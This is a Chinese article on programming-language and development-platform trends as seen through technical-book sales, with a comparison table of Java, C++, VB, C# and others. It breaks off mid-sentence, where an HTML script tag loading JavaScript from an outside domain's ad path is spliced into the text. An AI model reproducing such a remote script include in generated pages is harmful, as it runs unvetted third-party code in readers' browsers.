文/劉江
去年年底,我曾經應《程序員》雜誌之邀,以一篇同題文章對全年技術圖書進行了總的評述,其中主要根據圖書購買與技術的市場需求之間存在的關係(如果假設目前 的技術圖書出版和購買雙方都比較理性的話,這種關係就是成立的),從市場數據總結技術圖書的市場表現和變化,從中看出技術市場本身的趨勢。應該說,這種觀 察非常有趣,而且比從招聘需求等方面觀察更加全面。
去年的文中曾經提到,美國技術圖書出版社O'Reilly公司的CEO Tim O'Reilly也英雄所見略同地在其博客上發表過類似的文章。他們公司內部利用圖書市場調查公司BookScan提供的計算機圖書的銷售數據(涵蓋10000種圖書),建立了一個MySQL數據倉庫,對各類圖書的此消彼漲進行分析。結果表明,各類圖書銷售的走勢,很好地反映了北美技術市場的變動。
那麼,半年之後情況又是如何呢?
編程語言
編程語言對程序員來說,是一個有些陳詞濫調又永遠無法迴避的話題。去年年底時,我們根據數據的統計,做出了這樣的結論:
“可以明顯地看出,C++、Java是目前當然的主流。C++比較穩定,但是有走下坡路的跡象;Java出書相對較少,但是新書多,效率高,反映出Java目前市場實際需求旺盛。
“……Visual Basic品種較多……,而且各領域都有,說明其應用和擁躉仍然廣泛。相比之下,VB.NET和C#、Delphi基本上處在稍弱的同一檔次,總體看,似乎Delphi還處於上風。然而,.NET語言與Delphi顯然是此消彼長的關係。……C#賣得較好的書幾乎都是有關數據庫開發和Web開發的,背後其實都是ASP.NET在支持,某種程度上說明了.NET目前的應用現狀。
“雖然最近呼聲不小,但是國內多年來排斥腳本語言的現象看來並沒有太大改觀,JavaScript已經與盛期不可同日而語,PHP可以說是一息尚存,而Python、Perl、Ruby、Lua之類語言,尚未找到立足之地。其實有一個異類倒是表現不錯,就是Flash中內置的ActionScript……”
半年以後,情況已經發生了微妙的變化,如表1所 示。需要注意的是,與半年前的數據不同的是,我們這一次篩除了明顯是作爲教材和考試輔導圖書銷售的品種(銷售僅集中在個別地區),這樣更能反映市場的真實 情況。表中的具體數字來自真實市場統計數據(包括傳統書店和網上銷售)的抽象,可以看作是一種指標,下文中所謂的入圍指的是本階段內總銷售量達到了基本閾 值。可以看到,這張表的排序與TIOBE的編程社區指數大致相同,顯示出國內外在編程語言的選擇上非常接近,這也反映出編程語言的戰爭基本上已經告一段落。
與半年相比,有如下幾點主要的變化:
1. 霸主易手。
雖然Java和C++仍然是市場主流,但是兩者之間力量對比已經發生了逆轉。其中當然有教材排除帶來的影響,但是總體而言不大。Java圖書無論從品種還是平均表現上,都超過了C++一大截。差距最大的是Topseller的表現——單位時間內,《Java編程思想》的銷量幾乎是《C++ Primer中文版》(第四版)的兩倍。這在某種程度上反映了目前兩種語言的態勢。需要考慮到的是Java類圖書不僅包括語言和工具,更包括各種框架,而且衆所周知,Java的各層框架目前仍然在層出不窮。對比國外的相關分析,可以預測C++的份額還會減少,Java的霸主地位將持續一段時間,但是C#和VB等微軟語言的威脅正在加大。
2. 第二集團軍開始兩極分化。
即使不考慮VB.NET的貢獻,VB本身的實力仍然非常雄厚,圖書涉及面非常廣,而且這還是在篩除了不少VB教材的情況下取得的。可以預見,在很長一段時間內,VB的生命力仍將旺盛下去。不過,從另一方面來看,從VB轉移到VB.NET上的開發者似乎還是不多。
C#正在穩步成長,吸引着來自VB、Delphi和Java等各個領域的開發者。現在,市場上已經有不少純C#語言的圖書開始表現優異,不再只是藉助ASP.NET的力量打天下。隨着.NET 2.0進入主流,這種趨勢必將加快。這不,最近上市的清華大學出版社《C#入門經典》、《C#高級編程》都受到了市場的熱捧。而這兩本書在國外衆多C#著作中實際上只能算做中品,隨着Andrew Troelsen的《Pro C#&.NET Platform》(人民郵電出版社即出)和Jesse Liberty《Programming C#》(電子工業出版社即出)等名著的出版,C#的市場份額有望繼續增加。實際上,在國外C#已經成爲升幅最大的語言之一。
上次我們沒有仔細分析的C語言,在去除了教材之後顯露崢嶸。與VB類似,除了純語言教程之外,還有單片機、嵌入式、Linux等平臺上的C語言圖書也銷勢良好,在單品種銷量方面更是佔據了第三的位置——C語言這棵常青樹,仍將繼續笑傲江湖。
原來處於第二集團的Delphi,在東家頻生變故、競爭場上又腹背受敵的窘境中,已經明顯開始掉隊。不僅品種數量開始減少,單品種表現也大差於對手。除了人民郵電出版社新近出版的《Delphi數據庫管理系統開發從技術到實踐》等實用型圖書熱銷,說明其用戶羣體仍然不小之外,Marco Cantu的經典著作新版都沒有取得什麼像樣的成績,只能證明Delphi的風光不再。
3. 腳本語言冷熱不均
JavaScript和PHP顯然都是半年來Web 2.0熱潮的受益者。入圍品種的稀少其實說明了市場潛力的巨大。因爲單品種銷量在那裏擺着呢,這冠亞軍可不是白給的。PHP的單品種銷量甚至達到了Java的兩倍,實在令人咋舌。JavaScript這個原來很多人不大看得起的語言,現在卻成了Web開發人員必須熟練掌握又不大容易真正掌握的攔路虎。從趨勢判斷,Ajax的漸入佳境,將繼續推動JavaScript的需求增長。國外JavaScript圖書的增幅達到了135%。
其他腳本語言,包括曾經在國外非常紅火的Perl和Python,仍然沒有得到一席之地。Ruby能夠借Rails打破這種宿命嗎?從PHP的經歷來看,並非沒有可能。這不,以《Ruby for Rails》(中文版將由人民郵電出版社出版)、《Agile Web Development with Rails》(中文版將由電子工業出版社出版)爲代表的Ruby&Rails類圖書已經在Amazon上大紅大紫,Ruby圖書的增幅更在733%,僅僅幾本書的市場份額就已經超過了Python,逼近PHP的三分之一,這還不包括銷量幾乎相等的電子圖書。但是,競爭已經開始,PHP和Python也開始有了各種類似框架:CakePHP、Django、TurboGear等等正在虎視眈眈。
表1 從圖書銷售看語言走勢
語言
|
入圍品種
|
總銷量
|
每品種平均
|
單位時間最高均值
|
說明
|
Java |
82 |
34209 |
417 |
418 |
包括JSP(19種)、Eclipse、Struts、Hibernate等 |
C++ |
70 |
26028 |
372 |
240 |
包括標準C++(23種,平均482)、Visual C++(41種,平均329)、C++.NET(3種,平均317)、C++ Builder(3種,平均174) |
VB |
43 |
12645 |
354 |
275 |
包括VB.NET(7種,平均367) |
C |
18 |
8414 |
467 |
228 |
|
C# |
16 |
4927 |
308 |
258 |
|
Delphi |
11 |
2169 |
197 |
149 |
|
JavaScript |
5 |
2858 |
572 |
172 |
|
PHP |
2 |
1661 |
830 |
288 |
|
PowerBuilder |
1 |
292 |
292 |
58 |
|
FORTRAN |
1 |
340 |
340 |
68 |
|
Perl |
0 |
- |
- |
- |
|
Python |
0 |
- |
- |
- |
|
Ruby |
0 |
- |
- |
- |
|
開發平臺
開發平臺是另一個爭論不休的熱點話題。去年年底,我們的結論是通過JSP和ASP的比較做出的:
“兩種平臺的主流應用JSP與ASP的比較可能更加反映事實。JSP入圍品種比ASP(含ASP.NET)要少得多。有意思的是,既不好用也不安全的傳統ASP從圖書來看,居然還是主流……不過……ASP.NET的勢頭明顯上來了,……改朝換代已經爲時不遠。”
應該說,這種比較並不全面。從表1中可以看出,如果排除前.NET的微軟技術,.NET語言和開發工具(累計僅26種)其實無法與Java匹敵。雖然.NET的主力軍ASP.NET有 <script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>